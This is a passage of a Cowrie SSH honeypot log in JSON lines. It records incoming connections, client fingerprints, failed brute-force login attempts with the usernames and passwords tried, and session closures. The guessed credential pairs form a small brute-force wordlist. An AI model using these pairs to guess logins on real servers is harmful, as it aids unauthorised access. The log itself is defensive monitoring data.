ha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:12.311577Z","src_ip":"213.209.159.158","session":"368d156e7c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":43258,"dst_ip":"10.17.0.5","dst_port":22,"session":"622d57f2ca23","protocol":"ssh","message":"New connection: 78.44.192.210:43258 (10.17.0.5:22) [session: 622d57f2ca23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:14.082530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:14.092317Z","src_ip":"78.44.192.210","session":"622d57f2ca23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:14.207223Z","src_ip":"78.44.192.210","session":"622d57f2ca23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDqwe123","message":"login attempt [root/ASDqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:14.679390Z","src_ip":"78.44.192.210","session":"622d57f2ca23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:15.797003Z","src_ip":"78.44.192.210","session":"622d57f2ca23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ww1234567890*","message":"login attempt [root/ww1234567890*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:17.861223Z","src_ip":"213.209.159.158","session":"368d156e7c0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:20.409301Z","src_ip":"213.209.159.158","session":"368d156e7c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62500,"dst_ip":"159.203.135.109","dst_port":22,"session":"df2f72e40928","protocol":"ssh","message":"New connection: 213.209.159.158:62500 (159.203.135.109:22) [session: df2f72e40928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:20.508753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:21.747537Z","src_ip":"213.209.159.158","session":"df2f72e40928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:21.751147Z","src_ip":"213.209.159.158","session":"df2f72e40928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":40776,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9d5321d739b","protocol":"ssh","message":"New connection: 198.12.80.170:40776 (10.17.0.5:22) [session: e9d5321d739b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:25.140316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:25.150495Z","src_ip":"198.12.80.170","session":"e9d5321d739b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:25.194119Z","src_ip":"198.12.80.170","session":"e9d5321d739b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"n8n","password":"12345","message":"login attempt [n8n/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:25.546716Z","src_ip":"198.12.80.170","session":"e9d5321d739b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:26.586741Z","src_ip":"198.12.80.170","session":"e9d5321d739b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wsx1234567","message":"login attempt [root/wsx1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:27.316313Z","src_ip":"213.209.159.158","session":"df2f72e40928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:29.597085Z","src_ip":"213.209.159.158","session":"df2f72e40928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5710,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca6f1d3962cb","protocol":"ssh","message":"New connection: 213.209.159.158:5710 (159.203.135.109:22) [session: ca6f1d3962cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:29.683031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:31.306532Z","src_ip":"213.209.159.158","session":"ca6f1d3962cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:31.311878Z","src_ip":"213.209.159.158","session":"ca6f1d3962cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WangYinan123qwe","message":"login attempt [root/WangYinan123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:36.778358Z","src_ip":"213.209.159.158","session":"ca6f1d3962cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:39.014390Z","src_ip":"213.209.159.158","session":"ca6f1d3962cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26048,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7d3141fdc09","protocol":"ssh","message":"New connection: 213.209.159.158:26048 (159.203.135.109:22) [session: d7d3141fdc09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:39.093934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:40.533214Z","src_ip":"213.209.159.158","session":"d7d3141fdc09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:40.537687Z","src_ip":"213.209.159.158","session":"d7d3141fdc09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.170.111","src_port":37546,"dst_ip":"10.17.0.5","dst_port":22,"session":"b46463b84792","protocol":"ssh","message":"New connection: 180.76.170.111:37546 (10.17.0.5:22) [session: b46463b84792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:45.041197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:45.046988Z","src_ip":"180.76.170.111","session":"b46463b84792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:45.309852Z","src_ip":"180.76.170.111","session":"b46463b84792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatsup1","message":"login attempt [root/whatsup1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:46.261572Z","src_ip":"213.209.159.158","session":"d7d3141fdc09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:48.511015Z","src_ip":"213.209.159.158","session":"d7d3141fdc09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":44256,"dst_ip":"159.203.135.109","dst_port":22,"session":"96538efa205d","protocol":"ssh","message":"New connection: 213.209.159.158:44256 (159.203.135.109:22) [session: 96538efa205d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:48.625069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:50.183973Z","src_ip":"213.209.159.158","session":"96538efa205d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:50.189356Z","src_ip":"213.209.159.158","session":"96538efa205d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wj123456","message":"login attempt [root/Wj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:55.753392Z","src_ip":"213.209.159.158","session":"96538efa205d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34060,"dst_ip":"10.17.0.5","dst_port":22,"session":"d619a46df303","protocol":"ssh","message":"New connection: 193.228.128.84:34060 (10.17.0.5:22) [session: d619a46df303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:57.852473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:57.857269Z","src_ip":"193.228.128.84","session":"d619a46df303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:57.959292Z","src_ip":"193.228.128.84","session":"d619a46df303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:58.265916Z","src_ip":"193.228.128.84","session":"d619a46df303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:58.277369Z","src_ip":"213.209.159.158","session":"96538efa205d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9564,"dst_ip":"159.203.135.109","dst_port":22,"session":"a195013a906d","protocol":"ssh","message":"New connection: 213.209.159.158:9564 (159.203.135.109:22) [session: a195013a906d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:58.356073Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:59.371710Z","src_ip":"193.228.128.84","session":"d619a46df303","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:59.577234Z","src_ip":"213.209.159.158","session":"a195013a906d","protocol":"ssh"}
